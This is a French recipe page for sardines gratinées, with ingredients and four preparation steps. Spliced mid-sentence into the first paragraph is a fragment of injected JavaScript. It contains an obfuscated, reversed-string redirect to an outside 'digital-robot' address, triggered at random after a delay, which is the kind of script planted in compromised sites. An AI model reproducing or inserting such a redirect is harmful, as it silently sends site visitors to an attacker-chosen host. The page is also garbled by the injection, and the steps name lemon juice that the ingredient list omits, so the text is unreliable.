Sardines gratinées
2018-01-02Écaillez, videz, rincez et séchez les sardines. Dans une casserole avec le beurre, sur feu moyen, incorporez la farine tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant énergiquement pendant 3 minutes.
Ingrédients
- Pour 4 personnes
- 800 g de sardines fraîches
- 4 cuillères à soupe de farine
- 70 g de beurre
- 40 cl de lait
- 1 cuillère à café de graines de cumin
- De la chapelure
- Sel - Poivre du moulin
Préparation de la recette
Etape 1
Écaillez, videz, rincez et séchez les sardines. Dans une casserole avec le beurre, sur feu moyen, incorporez la farine tout en remuant énergiquement pendant 3 minutes.
Etape 2
Ajoutez par petites quantités le lait froid et obtenir une béchamel. Incorporez sans s'arrêter de remuer les graines de cumin, et obtenir une sauce légèrement épaisse.
Etape 3
A ce moment retirez du feu et ajoutez le jus de citron. Déposez les sardines salées, poivrées, dans un plat à gratin beurré. Recouvrez de sauce, saupoudrez de chapelure.
Etape 4
Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 20 à 25 minutes en surveillant la cuisson.
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